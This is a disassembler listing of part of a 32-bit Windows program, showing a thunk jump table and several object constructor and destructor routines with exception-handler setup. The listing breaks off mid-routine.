=============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402013 proc near ; CODE XREF: ___:00416B2Bp ; ___:0043B288j ... jmp sub_417C00 sub_402013 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402018 proc near ; CODE XREF: ___:00416E7Fp jmp sub_4131F0 sub_402018 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_421B80+5p jmp sub_422080 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: ___:00421754p jmp sub_41C0A0 sub_402022 endp ; --------------------------------------------------------------------------- off_402027 dd offset byte_4BF4E9 ; DATA XREF: ___:off_43F008o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40202C proc near ; CODE XREF: sub_404690+2CEp ; sub_404CC0+46Fp ... jmp sub_40A750 sub_40202C endp ; --------------------------------------------------------------------------- jmp loc_434410 ; --------------------------------------------------------------------------- jmp sub_41B4D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40203B proc near ; CODE XREF: sub_422470+Ap jmp sub_422750 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_404CC0+7E7p jmp sub_41BA50 sub_402040 endp ; --------------------------------------------------------------------------- loc_402045: ; DATA XREF: ___:off_43F014o jmp loc_40AEC0 ; --------------------------------------------------------------------------- loc_40204A: ; DATA XREF: ___:off_43F088o jmp loc_42D150 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: ___:0040AEC3p ; ___:0040FFAEp ... jmp sub_40AEF0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_424920+109p ; sub_424920+178p ... jmp sub_424800 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_4099C0+7p jmp sub_409AB0 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40205E proc near ; CODE XREF: sub_416760+Ap jmp sub_416970 sub_40205E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402063 proc near jmp sub_40CBF0 sub_402063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402068 proc near ; CODE XREF: ___:004301DBp ; sub_4310C0+EAp jmp sub_434320 sub_402068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_421A60+5p ; sub_421B50+6p ... jmp sub_421FF0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_410030+8ADp ; sub_410030+95Ep ... jmp sub_411A60 sub_402072 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402077 proc near ; CODE XREF: sub_40C120+7p jmp sub_40C310 sub_402077 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40207C proc near ; CODE XREF: sub_418A40+34p ; sub_418F90+67p jmp sub_418DA0 sub_40207C endp ; --------------------------------------------------------------------------- jmp loc_409BF0 ; --------------------------------------------------------------------------- loc_402086: ; DATA XREF: ___:off_43F13Co jmp loc_4292B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_417120+2Bp ; sub_417120+3Bp ... jmp sub_403F30 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_4098B0+14p jmp sub_409910 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_4332C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40209A proc near ; CODE XREF: sub_428DC0:loc_428FCBp jmp sub_428CE0 sub_40209A endp ; --------------------------------------------------------------------------- jmp sub_427940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_418430+4Dp jmp sub_418B70 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; CODE XREF: sub_415230+5p ; sub_4153F0+6p ... jmp sub_415DE0 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_427940+3p jmp sub_427970 sub_4020AE endp ; --------------------------------------------------------------------------- jmp loc_41B1F0 ; --------------------------------------------------------------------------- jmp loc_421720 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: ___:00416E4Fp jmp sub_407080 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_413740+83p ; sub_4145A0+91p ... jmp sub_4153F0 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; DATA XREF: ___:0043F054o jmp sub_41F030 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_40AAD0+144p jmp sub_40ADE0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; CODE XREF: sub_431240+BAp ; sub_433C70+36p jmp sub_433CE0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D6 proc near ; CODE XREF: sub_421EF0+23p ; sub_422340+11p jmp sub_4224E0 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: sub_4221E0+4p jmp sub_4225F0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_42BB00+3BBp jmp sub_42B730 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E5 proc near ; CODE XREF: ___:0041A312p jmp sub_41A3B0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_416860+Ap jmp sub_4169C0 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; DATA XREF: ___:off_43F18Co jmp sub_42C5C0 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F4 proc near ; CODE XREF: sub_415D70+4p jmp sub_416590 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F9 proc near ; CODE XREF: ___:004307A6p ; ___:00430808p ... jmp sub_434AD0 sub_4020F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020FE proc near ; CODE XREF: sub_418E20+8p jmp sub_4190C0 sub_4020FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: sub_418990+34p ; sub_418E80+67p jmp sub_418CA0 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: sub_41A7D0+117p jmp sub_41A960 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_415BA0+35p jmp sub_416670 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_404CC0+459p ; sub_406730+43p ... jmp sub_409CA0 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40BE00+5p ; sub_40BF40+6p ... jmp sub_40C140 sub_402117 endp ; --------------------------------------------------------------------------- jmp loc_4308A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402121 proc near ; CODE XREF: ___:00416F7Ap jmp sub_4191B0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: ___:0042AD23p jmp sub_42AD50 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; CODE XREF: sub_410030+F3Dp ; sub_410030+1392p ... jmp sub_4148A0 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_413A80+38p ; sub_413E70+5Fp jmp sub_4135E0 sub_402130 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402135 proc near ; CODE XREF: sub_40A210+14p ; sub_40A240+7p ... jmp sub_40A260 sub_402135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_42B440+157p jmp sub_42AFF0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40ACC0+1Ap ; sub_40AD10+1Ap jmp sub_40AD80 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_4156F0+3p ; ___:00415F1Fp ... jmp sub_416150 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; DATA XREF: ___:0043F02Co jmp sub_410030 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40214E proc near ; CODE XREF: sub_4148A0+EDp jmp sub_415920 sub_40214E endp ; --------------------------------------------------------------------------- jmp loc_41B490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_40BF00+3p jmp sub_40C180 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40215D proc near ; CODE XREF: sub_40BFA0+11p ; ___:0040BFC7p ... jmp sub_40C2C0 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: sub_41E760+2C5p jmp sub_4208E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402167 proc near ; CODE XREF: sub_41D930+64Fp jmp sub_41C170 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40216C proc near ; CODE XREF: sub_418CC0+32p jmp sub_418F90 sub_40216C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402171 proc near ; CODE XREF: sub_40ED00+ACp ; ___:0040F42Dp jmp sub_40EE40 sub_402171 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_4138B0+93p jmp sub_434D10 sub_402176 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40217B proc near ; CODE XREF: sub_4152A0+1Fp ; sub_415BA0+2Cp jmp sub_415B00 sub_40217B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402180 proc near ; CODE XREF: ___:0042670Dp jmp sub_4266D0 sub_402180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402185 proc near ; CODE XREF: sub_420630+17Dp jmp sub_421AD0 sub_402185 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218A proc near ; CODE XREF: ___:0042D551p jmp sub_42B380 sub_40218A endp ; --------------------------------------------------------------------------- loc_40218F: ; DATA XREF: ___:off_43F010o jmp loc_409BF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: sub_40AAD0+6Ap ; sub_40AAD0+103p jmp sub_40AD10 sub_402194 endp ; --------------------------------------------------------------------------- jmp loc_426280 ; --------------------------------------------------------------------------- jmp loc_427910 ; --------------------------------------------------------------------------- jmp loc_41AD00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021A8 proc near ; CODE XREF: sub_407270+14p ; sub_4072B0+9p ... jmp sub_407510 sub_4021A8 endp ; --------------------------------------------------------------------------- jmp loc_416DE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; CODE XREF: sub_40B0E0+1Bp jmp sub_433DC0 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B7 proc near ; CODE XREF: ___:00415B5Ap jmp sub_4165E0 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4309A0+ABp ; sub_431980+1Bp ... jmp sub_4319F0 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_42FD80 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021C6 proc near ; CODE XREF: ___:00408773p ; ___:00408795p ... jmp sub_4199C0 sub_4021C6 endp ; --------------------------------------------------------------------------- jmp loc_42DA00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D0 proc near ; CODE XREF: sub_40B600+55p jmp sub_40A0B0 sub_4021D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; DATA XREF: ___:off_43F14Co jmp sub_429510 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: sub_421BF0+34p ; sub_422510+67p jmp sub_422230 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021DF proc near ; CODE XREF: sub_407140+2Cp ; sub_407140+68p ... jmp sub_4072B0 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_4346E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021E9 proc near ; CODE XREF: sub_41C710+1B3p ; sub_41C710+332p ... jmp sub_41D770 sub_4021E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021EE proc near ; CODE XREF: sub_40BD50+11p ; sub_40BFA0+1Fp jmp sub_40C0D0 sub_4021EE endp ; --------------------------------------------------------------------------- jmp loc_4308E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; CODE XREF: sub_4246D0+1Ap ; sub_4247B0+1Bp ... jmp sub_424500 sub_4021F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021FD proc near ; CODE XREF: ___:00416ABBp jmp sub_418A40 sub_4021FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402202 proc near jmp sub_42CE60 sub_402202 endp ; --------------------------------------------------------------------------- jmp loc_42FF70 ; --------------------------------------------------------------------------- jmp loc_430100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_434450+1Bp jmp sub_4344C0 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: sub_42F6F0+101p jmp sub_42F040 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; DATA XREF: ___:off_43F00Co jmp sub_407210 sub_40221B endp ; --------------------------------------------------------------------------- jmp loc_42F5C0 ; --------------------------------------------------------------------------- jmp locret_418940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; CODE XREF: sub_403720+25p ; sub_403720+35p ... jmp sub_403CE0 sub_40222A endp ; --------------------------------------------------------------------------- jmp loc_4343F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_418430+88p ; sub_418430+98p jmp sub_418B90 sub_402234 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402239 proc near ; CODE XREF: ___:00416BBBp ; ___:0043B20Aj ... jmp sub_417870 sub_402239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40223E proc near ; CODE XREF: sub_418BE0+5p jmp sub_418E50 sub_40223E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_414710+3p jmp sub_414740 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: ___:004305EBp ; ___:00430F17p ... jmp sub_431DC0 sub_402248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40224D proc near ; DATA XREF: ___:off_43F11Co jmp sub_4288F0 sub_40224D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_430B30+102p ; sub_432A20+5Dp ... jmp sub_431B00 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_4135E0+5Cp ; sub_4135E0+C0p ... jmp sub_415540 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_432700 ; --------------------------------------------------------------------------- jmp loc_430460 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402266 proc near ; CODE XREF: sub_41D930+203p jmp sub_42E3C0 sub_402266 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40226B proc near ; CODE XREF: sub_42F6F0+148p ; sub_42F6F0+173p jmp sub_42EF60 sub_40226B endp ; --------------------------------------------------------------------------- jmp loc_42F490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402275 proc near ; CODE XREF: sub_4134A0+34p ; sub_4148A0+40p jmp sub_4159F0 sub_402275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40227A proc near ; CODE XREF: sub_40CC90+1A4p ; sub_40D040+ADp jmp sub_40D040 sub_40227A endp ; --------------------------------------------------------------------------- jmp loc_42F510 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402284 proc near ; CODE XREF: sub_422B40+938p jmp loc_424080 sub_402284 endp ; --------------------------------------------------------------------------- jmp loc_419B90 ; --------------------------------------------------------------------------- loc_40228E: ; CODE XREF: ___:00439FE6j jmp loc_40CFC0 ; --------------------------------------------------------------------------- db 129Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403530 proc near ; CODE XREF: sub_4019C4j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_403530 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403589 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40357A: ; CODE XREF: sub_403530+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40357A loc_403589: ; CODE XREF: sub_403530+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_40142E push offset asc_4445EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401870 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A9B push offset byte_448F40 lea ecx, [esp+47Ch+var_450] call sub_401870 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_4035E1: ; CODE XREF: sub_403530+105j mov ebp, [edi] test ebp, ebp jz short loc_403637 lea ecx, [esp+478h+var_438] call sub_40168B dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016B8 mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017EE push eax lea ecx, [esp+47Ch+var_450] call sub_401AAF lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_4035E1 loc_403637: ; CODE XREF: sub_403530+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014D3 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_403530 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403700 proc near ; CODE XREF: sub_40168Bj mov eax, [ecx+9] retn sub_403700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403720 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403720 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_40222A lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_40222A lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_40222A lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_40222A lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_40222A lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_40222A lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_40222A lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_40222A lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_40222A lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_40222A lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_40222A lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_40222A lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_40222A mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_40222A lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_40222A lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_40222A lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_40222A lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_40222A lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_40222A lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_40222A lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_40222A lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_40222A lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_40222A lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_40222A lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_40222A lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_40222A lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_40222A lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_40222A lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_40222A lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_40222A lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_40222A lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_40222A lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_40222A lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_40222A lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401753 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401753 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401753 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401753 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401753 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401753 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401753 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401753 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401753 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401753 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401753 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401753 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401753 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401753 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401753 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401753 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401753 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403720 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C50 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403C50 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CC0 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43F004 retn sub_403CC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CE0 proc near ; CODE XREF: sub_40222Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403CE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D60 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403D60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403DE0 proc near ; CODE XREF: sub_401753j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403DE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403DE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403E50 proc near ; CODE XREF: 